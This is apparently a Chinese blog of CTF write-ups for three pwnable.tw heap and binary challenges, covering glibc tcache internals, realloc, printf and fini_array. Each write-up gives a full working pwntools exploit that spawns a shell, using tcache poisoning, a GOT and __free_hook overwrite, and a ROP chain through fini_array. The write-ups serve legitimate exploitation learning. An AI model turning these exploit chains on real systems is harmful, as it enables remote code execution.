之所以记录这题是因为一开始我忽略了两个很朴素的方法组合在一起所造成的地址泄露技巧——bss任意写+0x20字节输出+伪造堆块。被常规思维束缚（平时比赛的恰饭题千篇一律也是一个原因）的我老想着找办法去打stdout，然而对于free次数的限制根本不允许我这么做。于是转念一想，既然不能泄露有libc地址的地方，我可以通过伪造大堆块并释放，让地址出现在bss上我可以输出的部分。

题目分析

思路

EXP

from pwn import *

#p = process("./tcache_tear")
p = remote("chall.pwnable.tw", 10207)
elf = ELF("./tcache_tear")
libc = ELF("./libc-remote.so")
context.log_level = "debug"

def malloc(size:int, content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Data:")
    p.send(content)

def free():
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")

def info():
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")

def exp():
    #const
    printf_plt = elf.symbols[b"printf"]
    atoll_got = elf.got[b"atoll"]
    bss_name = 0x602060
    bss_chunk_ptr = 0x602088
    print("printf_plt:", hex(printf_plt))
    print("atoll_got:", hex(atoll_got))
    print("bss_name:", hex(bss_chunk_ptr))
    print("bss_chunk_ptr:", hex(bss_chunk_ptr))

    name = p64(0) + p64(0x511)
    p.recvuntil(b"Name:")
    p.send(name)

    # leak lib
    ## tcache attach 1
    malloc(0x68, b"aaaa")
    for i in range(2):
        free()
    malloc(0x68, p64(bss_name+0x510))
    malloc(0x68, b"bbbb")

    ## make fake_fastchunk for fake_largechunk
    print("fake_fastchunk*2:", hex(bss_name+0x510))
    payload = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)
    malloc(0x68, payload)

    ## tcache attack 2
    malloc(0x78, b"cccc")
    for i in range(2):
        free()
    malloc(0x78, p64(bss_name+0x10))
    malloc(0x78, b"dddd")

    ## build fake_largechunk
    print("fake_fastchunk*2:", hex(bss_name+0x10))
    payload = p64(0) + p64(0)
    malloc(0x78, payload) #get fake_largechunk_ptr
    ## get libc addr
    free()

    ## leak info
    info()
    p.recvuntil(b"Name :")
    p.recv(0x10)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x3ebca0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    malloc(0x58, b"e"*8)
    for i in range(2):
        free()
    malloc(0x58, p64(free_hook))
    malloc(0x58, b"ffff")
    malloc(0x58, p64(system))
    gdb.attach(p)

    malloc(0x18, b"/bin/sh\x00")
    free()

    p.interactive()

if __name__ == "__main__":
    exp()

前置知识

关于realloc

realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);

1. 第一个参数为空时，realloc等价于malloc(size)
2. 第一个参数不为空时
   
   
   • 若mem_address被检测到不是堆上的地址，会直接报错
   • 若mem_address为合法堆地址
     
     
     • 若第二个参数size=0，则realloc相当于free(mem_address)
     • 若第二个参数不为0，这时才是realloc本身的作用——内存空间的重分配
       
       
       • 如果realloc的size小于原有size则内存位置不会变动，函数返回原先的指针
       • 如果realloc的size大于原有size，则会从高地址拓展堆块大小或直接从top chunk取出合适大小的堆块，然后用memcpy将原有内容复制到新堆块，同时free掉原堆块，最后返回新堆块的指针
   • 注意，realloc修改size后再free和直接free进入的是不同大小的bin（这点很重要）

关于glibc2.29中的tcache

glibc2.29中的tcache多加了一个防止double free的验证机制，那就是在free掉的tcache chunk的next域后增加一个key域，写入tcache arena所在位置地址。如果free时检测到这个key值，就会在对应tcache bin中遍历查看是否存在相同堆块。（这点很重要，涉及到如何tcache double free）

关于glibc2.29 tcache机制部分源码：

• _int_malloc part
  
  
  • 这里我在本地和远程的环境出现了不同，远程中没有在取出tcache时判断同一条bin上剩余tcache chunk的数量，所以无需先伪造足够长度的bin再进行tcache attack。但是我本地的libc版本存在这一检测机制，于是我按照本地的libc版本来调试。

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
    {
      if (SINGLE_THREAD_P)
        *fb = victim->fd;
      else
        REMOVE_FB (fb, pp, victim);
      if (__glibc_likely (victim != NULL))
        {
          size_t victim_idx = fastbin_index (chunksize (victim));
          if (__builtin_expect (victim_idx != idx, 0))
        malloc_printerr ("malloc(): memory corruption (fast)");
          check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = *fb) != NULL)
            {
              if (SINGLE_THREAD_P)
            *fb = tc_victim->fd;
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
    }

• _int_free part

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */

    //这里就是通过对key的判断预防double free的机制
    if (__glibc_unlikely (e->key == tcache))
      {
        tcache_entry *tmp;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
          if (tmp == e)
        malloc_printerr ("free(): double free detected in tcache 2");
        /* If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  */
      }

    //tcache容量有上限
    if (tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
      }
  }
#endif

• tcache_put part

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

• tcache_get part

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

综上可以发现，tcache的double free检测机制，其实可以通过uaf清空key域来绕过。但是远程环境中不检测当前tcache bin剩余tcache chunk数量，可以直接改next域。

关于printf

提到printf不得不提本题中开启的FORTIFY保护，这保护增加了以下限制：

1. 包含%n的格式化字符串不能位于程序内存中的可写地址。（不能任意写了）
2. 当使用位置参数时，必须使用范围内的所有参数。所以如果要使用%7$x，你必须同时使用1,2,3,4,5和6。（这条不是很确定，因为本题直接用%21$p就可以打通，所以暂时搁置）

printf的返回值是输出字符的数量，这一特性引申了一个技巧，那就是用printf_plt去覆盖atoll_got的内容。而atoll本身接收一个字符串参数，这就使得atoll处可以产生格式化字符串泄露。而且，通过控制printf的返回值，可以尽可能减小调用atoll时造成的错误（例如，通过"%xc"可以控制printf返回x，从而实现取得可控大小整数的目的）。

题目分析

主要函数

1. allocate

程序获取用户输入的大小和堆块下标来分配堆块内存，并在bss上保存堆块索引。但是下标只能为0，1，堆块大小也限制在0x78内（不好造出unsorted_bin来泄露地址）。

在读取内容的时候存在一个offbynull，然而并没有啥用....

2. realloca

这里对堆块索引保存的指针指向realloc，同样有0x78大小限制。但是没有限制size=0，这就存在了索引不会清空的任意free，并且可以任意uaf，这就是本程序最主要的漏洞所在地。

3. rfree

本身没啥洞，但是后面要借助其中的atoll来进行格式化字符串攻击泄露地址。

EXP

from pwn import *

#p = process("./re-alloc")
p = remote("chall.pwnable.tw", 10106)
elf = ELF("./re-alloc")
libc = ELF("./libc-remote.so")
context.log_level = "debug"

def alloc(idx, size, content):
    p.recvuntil(b"Your choice: ")
    p.sendline(b"1")
    p.recvuntil(b"Index:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Data:")
    p.send(content)

def realloc(idx, size, content):
    p.recvuntil(b"Your choice: ")
    p.sendline(b"2")
    p.recvuntil(b"Index:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    if len(content)>0:
        p.recvuntil(b"Data:")
        p.send(content)

def free(idx):
    p.recvuntil(b"Your choice: ")
    p.sendline(b"3")
    p.recvuntil(b"Index:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b"Your choice: ")
    p.sendline(b"3")

def exp():
    #const
    printf_plt = elf.symbols[b"printf"]
    atoll_plt = elf.symbols[b"atoll"]
    atoll_got = elf.got[b"atoll"]
    print("printf_plt:", hex(printf_plt))
    print("atoll_plt:", hex(atoll_plt))
    print("atoll_got:", hex(atoll_got))

    # fake tcache
    ## get two tcache in same mem
    ## tcache attack
    alloc(0, 0x28, b"aaaa")
    realloc(0, 0, b"")
    realloc(0, 0x28, p64(atoll_got))
    alloc(1, 0x28, b"aaaa")
    realloc(0, 0x38, b"a"*8)
    free(0)
    realloc(1, 0x48, b"a"*8)
    free(1)
    #gdb.attach(p)

    ## get two tcache in same mem
    ## tcache attack
    alloc(0, 0x58, b"bbbb")
    realloc(0, 0, b"")
    realloc(0, 0x58, p64(atoll_got))
    alloc(1, 0x58, b"bbbb")
    realloc(0, 0x68, b"a"*8)
    free(0)
    realloc(1, 0x78, b"a"*8)
    free(1)
    #gdb.attach(p)


    #make atoll_got->printf_plt
    alloc(0, 0x28, p64(printf_plt)) #*


    #leak libc_in_stack
    #gdb.attach(p, "b *0x401603\nc\n")
    p.sendafter(b"Your choice: ", b"3\n")
    p.sendafter(b"Index:", b"%21$p")

    leak = int(p.recvuntil(b"Invalid", drop=True), 16)
    libc_base = leak - 235 - libc.symbols[b"__libc_start_main"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    print("leak:", hex(leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))

    # make atoll_got->system
    p.sendafter(b"Your choice: ", b"1\n")
    p.sendafter(b"Index:", b"a")
    p.sendafter(b"Size:", b"%88c")
    p.sendafter(b"Data:", p64(system))
    #gdb.attach(p)

    #getshell
    p.sendafter(b"Your choice: ", b"3\n")
    p.sendafter(b"Index:", b"/bin/sh\x00")

    p.interactive()

if __name__ == "__main__":
    exp()

从这题学到很多之前不太注意的地方，因此还盘点了一下C语言程序运行的整个流程，正所谓 ctf for learning（x

前置知识

从Hello world开始

Hello world简单吗？写起来简单，但是要解释清楚却很难。下面用一个helloworld程序静态编译(x64)作为例子讲解简单C程序的运行流程。

//gcc helloworld.c --static -o helloworld
#include<stdio.h>

int main(){
    printf("Hello world!\n");
    return 0;
}

不知道初学者会不会注意，明明在第一印象中main函数处于一个“至高无上”的地位，却还要在末尾return 0? 有没有想过这个返回值最后交给了谁？

反汇编分析

IDA打开刚刚编译的helloworld，对main函数查看交叉引用，发现在main之前有一个_start操作了main函数的地址，再对_start交叉引用发现，_start的地址是整个程序的Entry_point，也就是说，程序执行后最先执行的是start中的指令。

下面是start的反汇编结果：

.text:0000000000400890 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400890 ; __unwind {
.text:0000000000400890                 xor     ebp, ebp
.text:0000000000400892                 mov     r9, rdx         ; rtld_fini
.text:0000000000400895                 pop     rsi             ; argc
.text:0000000000400896                 mov     rdx, rsp        ; ubp_av
.text:0000000000400899                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040089D                 push    rax
.text:000000000040089E                 push    rsp             ; stack_end
.text:000000000040089F                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004008A6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004008AD                 mov     rdi, offset main ; main
.text:00000000004008B4                 call    __libc_start_main
.text:00000000004008B4 _start          endp

可见，start在最后调用了__libc_start_main这个函数，经过查证，这是一个库函数（但是为了讲解方便这里使用了静态编译），主要的功能是初始化进程以及各类运行环境，并处理main函数的返回值。这个函数的声明如下：

int __libc_start_main(int (main) (int, char , char ), int argc, char * ubp_av, void (init) (void), void (*fini) (void), void (*rtld_fini) (void), void ( stack_end));

参数非常多，主要关注 rdi r8 rcx 的参数就行。

可以发现rdi中的地址就是main函数的地址，而r8和rcx分别对应__libc_csu_fini和__libc_csu_init两个函数。

难道说__libc_start_main会利用这两个函数做些什么吗，于是再去查找这两个函数的相关信息发现，这两个函数各自与一个数组相关联：

.init_array:00000000006C9ED8 _init_array     segment para public 'DATA' use64
.init_array:00000000006C9EE0 off_6C9EE0      dq offset init_cacheinfo
.init_array:00000000006C9EE0 _init_array     ends
===========================================================================
.fini_array:00000000006C9EE8 _fini_array     segment para public 'DATA' use64x
.fini_array:00000000006C9EF0                 dq offset fini
.fini_array:00000000006C9EF0 _fini_array     ends

__libc_csu_init和__libc_csu_fini分别对应_init_array和_fini_array，这两个数组各自有两个元素，保存了一些函数指针。在进入这个两个函数的时候，他们会遍历调用各自数组中的函数指针。而且，__libc_csu_init 执行期在main之前，__libc_csu_fini 执行期在main之后。也就是说，这两个数组中的函数指针会在main函数执行前后被分别调用。

这里要注意的是，_init_array执行顺序是下标由小到大，_fini_array执行顺序是下标由大到小。

总结一下整个流程大概就是：

start -> _libc_start_main -> libc_csu_init(init_array) -> main -> libc_csu_finit(fini_array) -> exit(main_ret)

至此，最开始的小问题就解决了，main函数的返回值最后交给了_libc_start_main处理，而处理方式是作为exit的参数结束程序。

利用方式

那么有意思的来了，虽然_init_array不便控制，因为它在主函数前就执行完了，但是_fini_array却可以利用主函数的某些漏洞（如任意写）进行控制。

方式1：构造Loop

遇到写次数有限的格式化字符串漏洞，可以利用_fini_array构造loop进行多次写。

尝试构造如下结构：

fini_array[0] = __libc_csu_fini
fini_array[1] = target_func

这样在程序退出的时候，就会循环执行 __libc_csu_fini -> target_func -> __libc_csu_fini -> .... ，从而多次经过漏洞函数所在位置达到多次写的目的。

方式2：构造ROP链

这是比较难发现的点，首先仔细看__libc_csu_fini的反汇编结果：

.text:0000000000401710 ; void _libc_csu_fini(void)
.text:0000000000401710                 public __libc_csu_fini
.text:0000000000401710 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401710 ; __unwind {
.text:0000000000401710                 push    rbx
.text:0000000000401711                 mov     ebx, offset __JCR_LIST__
.text:0000000000401716                 sub     rbx, offset __do_global_dtors_aux_fini_array_entry
.text:000000000040171D                 sar     rbx, 3
.text:0000000000401721                 test    rbx, rbx
.text:0000000000401724                 jz      short loc_40173D
.text:0000000000401726                 db      2Eh
.text:0000000000401726                 nop     word ptr [rax+rax+00000000h]
.text:0000000000401730
.text:0000000000401730 loc_401730:                             ; CODE XREF: __libc_csu_fini+2B↓j
.text:0000000000401730                 call    ds:off_6C9EE0[rbx*8]
.text:0000000000401737                 sub     rbx, 1
.text:000000000040173B                 jnz     short loc_401730
.text:000000000040173D
.text:000000000040173D loc_40173D:                             ; CODE XREF: __libc_csu_fini+14↑j
.text:000000000040173D                 pop     rbx
.text:000000000040173E                 jmp     _fini
.text:000000000040173E ; } // starts at 401710

可以发现，在执行过程中，__libc_csu_fini先将rbp保存在了原栈，再把rbp迁移到fini_array的位置，然后从fini_array[1]到fini_array[0]进行函数指针的调用，最后利用原栈上的值恢复rbp。

但是如果有心人在fini_array[0]写入leave ret这种gadget的地址，就会导致rsp被迁移到fini_array上，然后按照fini_array[1]，fini_array[2]，fini_array[3]...这样顺序执行提前布置好的的ROP链。

题目分析

主函数伪代码（部分函数经过重命名）：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int addr_ret; // eax
  char *addr; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    strtol((__int64)&buf);                      // 把输入内容转换为长整型（地址）
    addr = (char *)addr_ret;
    write(1u, "data:", 5uLL);
    read(0, addr, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

题目主函数给了一个任意地址写，但是if判断限制只能写一次，并且没有地址泄露的步骤。

很明显，我们需要构造一个loop进行多次任意写，但是栈上地址不知道，所以不能写ret_addr，只能用fini_array构造loop。

但是loop回来能不能过if判断呢？显然不能......才怪。

只要你细心观察就会发现byte_4B9330是unsigned _int8，也就是范围在0-255，也就是说当loop执行到一定次数，发生整数溢出时，byte_4B9330 == 1可以重新成立，这样就能继续任意写了。

下一步时构造execve("/bin/sh\x00", 0, 0)功能的ROP链到fini_array上。为了不破坏loop，只能从fini_array[2]开始写。

ROP链写完后，后把fini_array[0]写成leave ret，fini_array[1]写成ret，便可以在结束掉loop的同时将执行流衔接到ROP链上，完成getshell。

exp

from pwn import *

#p = process("./3x17")
p = remote("chall.pwnable.tw", 10105)
context.log_level = "debug"
#gdb.attach(p, "b *0x401C29\nc\n")
#gadgets
ret = 0x0000000000401016
leave_ret = 0x0000000000401c4b
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
syscall = 0x00000000004022b4


fini_array = 0x4B40F0
_libc_csu_fini = 0x402960
main = 0x401B6D

def read_to(addr:int, content):
    p.recvuntil(b"addr:")
    p.send(str(addr).encode())
    p.recvuntil(b"data:")
    p.send(content)

def exp():
    #make loop
    read_to(fini_array, p64(_libc_csu_fini)+p64(main))

    #build ROP_chain
    binah_addr = 0x4B9300
    read_to(binah_addr, b"/bin/sh\x00")

    read_to(fini_array+0x8*2, p64(pop_rax_ret) + p64(59))
    read_to(fini_array+0x8*4, p64(pop_rdi_ret) + p64(binah_addr))
    read_to(fini_array+0x8*6, p64(pop_rsi_ret) + p64(0))
    read_to(fini_array+0x8*8, p64(pop_rdx_ret) + p64(0))
    read_to(fini_array+0x8*10, p64(syscall))

    #gdb.attach(p, "b *0x401C2E\nc\n")    
    #new stack & start rop
    read_to(fini_array, p64(leave_ret) + p64(ret))

    #getshell
    p.interactive()

if __name__ == "__main__":
    exp()

总结

其实二进制方向很多时候都是大道至简，只有真正掌握了底层原理和思考能力的人才不会在如今越来越商业化的安全行业中成为无头无脑的“做题家”。